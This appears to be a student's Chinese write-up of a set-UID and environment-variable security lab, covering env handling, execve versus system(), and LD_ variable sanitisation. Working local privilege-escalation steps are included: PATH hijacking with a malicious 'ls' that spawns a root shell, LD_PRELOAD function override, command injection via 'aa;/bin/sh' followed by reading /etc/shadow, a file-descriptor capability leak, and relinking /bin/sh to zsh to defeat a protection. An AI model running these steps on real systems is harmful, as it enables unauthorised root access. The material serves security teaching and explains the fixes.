Environment Variable and Set-UID Program Lab
Task 1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQgVbauV-1643259278308)(环境变量和set-UID程序/image-20211021190558511.png)]
-
使用
printenv
打印环境变量[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v8SVDa1i-1643259278309)(环境变量和set-UID程序/image-20211021190734705.png)]
-
使用
export
设置环境变量的值,用echo
查看设置结果[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1ExKZbij-1643259278309)(环境变量和set-UID程序/image-20211021192046493.png)]
-
使用
unset
删除环境变量,用echo
查看设置结果[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5FROSkNP-1643259278310)(环境变量和set-UID程序/image-20211021192112022.png)]
Task 2
Step 1.
首先编译myprintenv.c
文件
然后结果保存在file
中
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dzhrq6Ct-1643259278310)(环境变量和set-UID程序/image-20211021192345242.png)]
观察file文件,我们可以发现是各个环境变量的值
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XF4S7Bkt-1643259278311)(环境变量和set-UID程序/image-20211021192715013.png)]
Step 2
按照要求注释掉子进程的printenv语句,将父进程的printenv语句取消注释
重新编译,将结果保存在file2文件中,发现同样是环境变量的值
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kfp4pe0G-1643259278311)(环境变量和set-UID程序/image-20211021194639135.png)]
Step 3
用diff命令比较file和file2的差异,发现两者是相同的,说明子进程完全继承了父进程的环境变量。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-32j0dC2b-1643259278312)(环境变量和set-UID程序/image-20211021194823695.png)]
进一步查阅资料可知
子进程完全复制了父进程的资源,包括进程上下文、代码区、数据区、堆区、栈区、内存信息、打开文件的文件描述符、信号处理函数、进程优先级、进程组号、当前工作目录、根目录、资源限制和控制终端等信息,而子进程与父进程的区别有进程号、资源使用情况和计时器等。
Task 3
Step 1
编译运行myenv.c,发现结果为空
#include <unistd.h>
extern char **environ;
int main()
{
char *argv[2];
argv[0] = "/usr/bin/env";
argv[1] = NULL;
execve("/usr/bin/env", argv, NULL);
return 0 ;
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YMMlIoBM-1643259278313)(环境变量和set-UID程序/image-20211021195206499.png)]
Step 2
将代码修改为如下方所示的代码后,再次编译运行
#include <unistd.h>
extern char **environ;
int main()
{
char *argv[2];
argv[0] = "/usr/bin/env";
argv[1] = NULL;
//execve("/usr/bin/env", argv, NULL);
execve("/usr/bin/env", argv, environ);
return 0 ;
}
发现程序打印出了环境变量的值。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kqmfyb7t-1643259278313)(环境变量和set-UID程序/image-20211021195323867.png)]函数execve()的作用,其调用格式如下:
int execve(const char * filename,char * const argv[],char * const envp[])
其有三个参数,第一个参数filename指向要运行的新程序的路径,第二个参数argv数组包含新程序的所有参数,第三个参数envp数组包含新程序的环境变量。
如果将envrion传给execve()函数,则新进程想将他自己的环境变量传给新程序。如果设为NULL,则不传递任何环境变量
Step 3
进程在被初始化时通过以下两种方式获取环境变量。
第一种方式,如果是一个新创建的进程,即使用fork()系统调用(在UNLX中)生成的进程,在这种情况下,子进程的内存是父进程内存的副本,也就是说,子进程将继承父进程所有的环境变量。
第二种方式,如果进程自身通过 execve()系统调用运行一个新的程序(而不是在子进程中运行),进程的内存将会被新程序的数据覆盖,因此进程中存储的所有环境变量将会丢失。如果一个进程希望将环境变量传递给新运行的程序,它需要在调用 execve()函数时显式地传递环境变量。
Task 4
保存编译运行下方的代码,可以发现结果是打印出了环境变量
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/usr/bin/env");
return0 ;
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AQ6UvdJr-1643259278314)(环境变量和set-UID程序/image-20211021202226212.png)]
system()的函数说明
system()会调用fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。在调用system()期间SIGCHLD 信号会被暂时搁置,SIGINT和SIGQUIT 信号则会被忽略。
返回值
如果fork()失败 返回-1:出现错误
如果exec()失败,表示不能执行Shell,返回值相当于Shell执行了exit(127)
如果执行成功则返回子Shell的终止状态
如果system()在调用/bin/sh时失败则返回127,其他失败原因返回-1。若参数string为空指针(NULL),仅当命令处理程序可用时,返回非零值,可以通过这一特征判断在一个给定的操作系统上是否支持system函数(当system函数返回值为0时,表明system函数无效,在UNIX系统中,system函数总是可用的);。如果system()调用成功则最后会返回执行shell命令后的返回值,但是此返回值也有可能为 system()调用/bin/sh失败所返回的127,因此最好能再检查errno 来确认执行成功。
Task 5
Step 1
#include <stdio.h>
#include <stdlib.h>
extern char**environ;
int main()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
将代码保存在foo.c中
编译运行,打印出环境变量
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-njxDi9LV-1643259278315)(环境变量和set-UID程序/image-20211021203257312.png)]
Step 2
将程序的拥有者改为root, 同时将其变成set-UID程序
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EPAbkmQu-1643259278315)(环境变量和set-UID程序/image-20211021204849038.png)]
Step 3
按照题目要求设置三个环境变量,然后运行已经是特权程序的foo。
我们可以看到wza和PATH环境变量都成功出现,但是LD_LIBRARY_PATH始终没有出现在环境变量中
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s1K2PejP-1643259278316)(环境变量和set-UID程序/image-20211022110105522.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W07nu1h8-1643259278316)(环境变量和set-UID程序/image-20211022110154632.png)]
运行foo单独抓去LD变量,可以发现输出为空白,没有找到
我们将foo的拥有者改回seed ,发现LD_LIBRARY_PATH这个出现了。
这说明这个环境变量会对动态链接器的行为产生影响,所以它在动态链接器的进程中被屏蔽掉了,从而不会再对特权程序的动态链接产生影响。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zkkx0Fin-1643259278317)(环境变量和set-UID程序/image-20211022110351472.png)]
Task 6
运行代码
task6.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("ls");
return 0;
}
恶意代码
ls.c
#include <stdlib.h>
int main(){
system("/bin/bash -p");
将运行代码编译后保存为task6可执行文件
将恶意代码编译保存为ls,保存在当前文件夹中
首先我们执行task6,此时正常调用/bin/ls指令
然后我们改变task6的所有者为root,同时设置其为特权程序,然后将当前文件夹包含在环境变量PATH中,再次执行我们发现程序得到的只是一个普通的shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S2uu4a4r-1643259278317)(环境变量和set-UID程序/image-20211024152521937.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4kpbq1hY-1643259278318)(环境变量和set-UID程序/image-20211022115545732.png)]
阅读资料后我们可以知道,这是由于Ubuntu20.04的保护机制导致的,我们采用sudo ln -sf /bin/zsh /bin/sh
将/bin/sh指向一个特别的shell的程序即可
再次执行,我们发现程序成功创建了一个具有root权限的shell程序。
实验原理是system会调用/bin/sh来执行命令,而shell会在PATH中搜索要使用的命令,所以当我们把我们的恶意程序放在当前目录,并且把当前目录加到环境变量PATH中时,当执行task6就会调用我们的恶意代码,从而成功创建一个shell进程,又因为task6是一个具有root权限的特权程序,所以我们创建的是一个具有root权限的shell进程。
Task 7
Step 1
mylib.c
#include <stdio.h>
void sleep (int s)
{
/*If this is invoked by a privileged program,
you can do damages here!*/
printf("I am not sleeping!\n");
}
按照题目要求编译但不链接mylib.c
创建一个新的共享库,并将该共享库加入LD_PRELOAD环境变量。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1szK4KpL-1643259278318)(环境变量和set-UID程序/image-20211022170152068.png)]
myprog.c
编译该文件,保存可执行文件为myprog
/*myprog.c*/
#include <unistd.h>
int main()
{
sleep(1);
return 0;
}
Step 2
-
正常运行myprog
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FJuaRwKL-1643259278319)(环境变量和set-UID程序/image-20211022172148790.png)]
程序行为被改变,调用了mylib.c 的sleep程序
-
将myprog设置为具有root权限的set-UID程序后再次执行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ZrKp1ao-1643259278320)(环境变量和set-UID程序/image-20211022172502079.png)]
程序行为正常,正常调用了lib中的sleep语句 ,睡眠了1s后返回。
-
在root权限下再次export LD_LIBRARY变量,然后再次执行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYOXdmAC-1643259278320)(环境变量和set-UID程序/image-20211022182847388.png)]
发现程序行为再次被改变,调用了mylib.c 的sleep程序
-
要求在另一个用户下运行seed用户的set-UID程序,并重新export LD_LIBRARY变量
首先利用
sudo su
进入root用户然后用
sudo adduser seed2
创建一个新的用户seed2然后
su seed2
切换到 seed2[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cady3DUh-1643259278320)(环境变量和set-UID程序/image-20211022185658486.png)]
运行root权限的set-UID程序,程序正常执行lib库的sleep函数,睡眠1s
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L34XHaFL-1643259278321)(环境变量和set-UID程序/image-20211022190037146.png)]
返回seed用户,将程序改为seed用户的特权程序,然后重新重新export LD_LIBRARY变量
运行,程序依旧正常执行lib库的sleep函数,睡眠1s
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l1gEauPs-1643259278322)(环境变量和set-UID程序/image-20211022190532236.png)]
Step 3
Linux动态链接器会在一些默认目录中寻找程序所使用的库,用户可以在LD_PRELOAD和LD_LIBRARY_PATH环境变量来增加新的搜索目录和库文件
我们设置了LD_PRELOAD后可以让链接器将sleep()函数和我们的代码mylib.c连接起来,而不是和标准库libc库中的sleep()函数链接起来。
所以这导致第一种情况下正常运行myprog程序行为的改变
而在第二种情况下,我们将程序改为root权限的特权程序后正常执行,这是因为动态链接库的一些防御措施,当进程的真实用户ID和有效用户ID不一样,进程将忽略LD_PRELOAD环境变量。
在第三种情况下,我们将用户改为root, 然后在运行具有root权限的特权程序后,程序再次改变了行为,调用了mylib.c代码,这是因为真实用户ID和有效用户ID一样,导致防御措施失效了
在第四种情况下,我们将用户改为seed2,挺好运行然后在运行具有seed用户的特权程序,程序依旧正常执行,防御措施有效。
实验验证
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7bp8nPDc-1643259278322)(环境变量和set-UID程序/image-20211022192624573.png)]
我们复制eve到 当前目录为myenv,然后将其设置为root权限的特权程序,之后设置三个LD变量,用env打印,可以发现三个变量都出现了,用myenv打印发现只出现了一个变量LD_MYOWN
这就是因为那两个变量对动态链接器的行为会产生影响,所以他们在Set-UID程序中被屏蔽了,从而不会再对特权程序的动态链接产生任何影响,而LD_MYOWN是自己定义的,不会被动态链接器使用,所以没有安全威胁,因此没有被屏蔽。
Task 8
Step 1
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
char * v[3];
char * command;
if(argc < 2) {
printf("Please type a filename.\n");
return 1;
}
v[0] ="/bin/cat"; v[1] = argv[1]; v[2] = NULL;
command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command,"%s%s", v[0], v[1]);
//Useonlyoneofthefollowings.
system(command);
//execve(v[0],v,NULL);
return 0 ;
}
编译catall文件,然后将其设置为root权限的特权程序
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GOEkedFa-1643259278322)(环境变量和set-UID程序/image-20211022195314688.png)]
执行如下图所示的指令,可以发现程序创建了一个shell进程,但最开始我们只得到了一个普通的shell程序,这是由于Ubuntu20.04的一个保护机制导致的,我们采用
sudo ln -sf /bin/zsh /bin/sh
来使得/bin/sh指向/bin/zsh
再次调用catall “aa;/bin/sh",我们发现这次创建了一个具有root权限的shell进程,用cat /etc/shadow 指令验证,发现成功输出密码,说明我们权限窃取成功。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-57fcPYh3-1643259278323)(环境变量和set-UID程序/image-20211022195229974.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0LESf3N-1643259278323)(环境变量和set-UID程序/image-20211022200809708.png)]
Step 2
注释掉system(),取消注释execve()
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
char * v[3];
char * command;
if(argc < 2) {
printf("Please type a filename.\n");
return 1;
}
v[0] ="/bin/cat"; v[1] = argv[1]; v[2] = NULL;
command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command,"%s%s", v[0], v[1]);
//Useonlyoneofthefollowings.
//system(command);
execve(v[0],v,NULL);
return 0 ;
}
编译修改后的代码保存为safecatall
依旧将其设置为root权限的特权程序,再次运行safecatall “aa;/bin/sh"
我们发现程序没有出现错误
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tD1arnMz-1643259278323)(环境变量和set-UID程序/image-20211022201948533.png)]
第一步中我们得到root权限的原因是因为system(command)函数是通过调用"/bin/sh -c command"完成command指令的,换句话说,外部指令不是上述程序直接执行的,而是shell程序首先被执行,然后shell将command作为输入并解析。但是因为shell过于强大,它可以解析用分号隔开的两条命令,所以当我们输入 “aa;/bin/sh"是,分号后面的指令也被解析并执行了,由此我们得到了一个root权限的shell。
而使用execve()函数则不会如此,因为它会把那整个字符串作为参数,所以不会发生权限泄露的情况。
Task 9
cap_leak.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
void main()
{
int fd;
char *v[2];
/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644.
* Before running this program, you should create
* the file /etc/zzz first. */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
if (fd == -1) {
printf("Cannot open /etc/zzz\n");
exit(0);
}
// Print out the file descriptor value
printf("fd is %d\n", fd);
// Permanently disable the privilege by making the
// effective uid the same as the real uid
setuid(getuid());
// Execute /bin/sh
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}
上述代码展示了一个root用户的Set-UID程序。程序运行分为三步。第一步,它打开了一个只有root用户可以修改的文件/etc/zz。在文件被打开后,程序定义了一个文件描述符,通过该文件描述符完成后续对文件的操作。文件描述符是权限的一种形式,任何拥有它的人都可以访问对应的文件。第二步,通过将有效用户ID(roo)变得跟真实用户ID一样,程序降低了自身的权限,实际上相当于放弃了进程的root特权。第三步,程序调用了一个 shell 程序
然而上述程序忘记了关闭文件,文件描述符仍然有效,因此这个非特权进程仍然可以修改/etc/zzz文件。从程序的执行结果来看,可以发现文件描述符的值是3.通过echo>&3”命令可以修改/etc/zz文件。这里“&3”表示文件描述符3. 在运行这个 SET-UID程序之前,无法修改受保护的/ete/zz文件。但是通过 SET-UID程序获得文件描述符后,可以成功地修改该文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MeRrGwX2-1643259278324)(环境变量和set-UID程序/image-20211022204515258.png)]
为了修复该程序中的权限泄露问题,应该在降低特权之前先销毁权限,用close(fd)关闭文件描述符即可。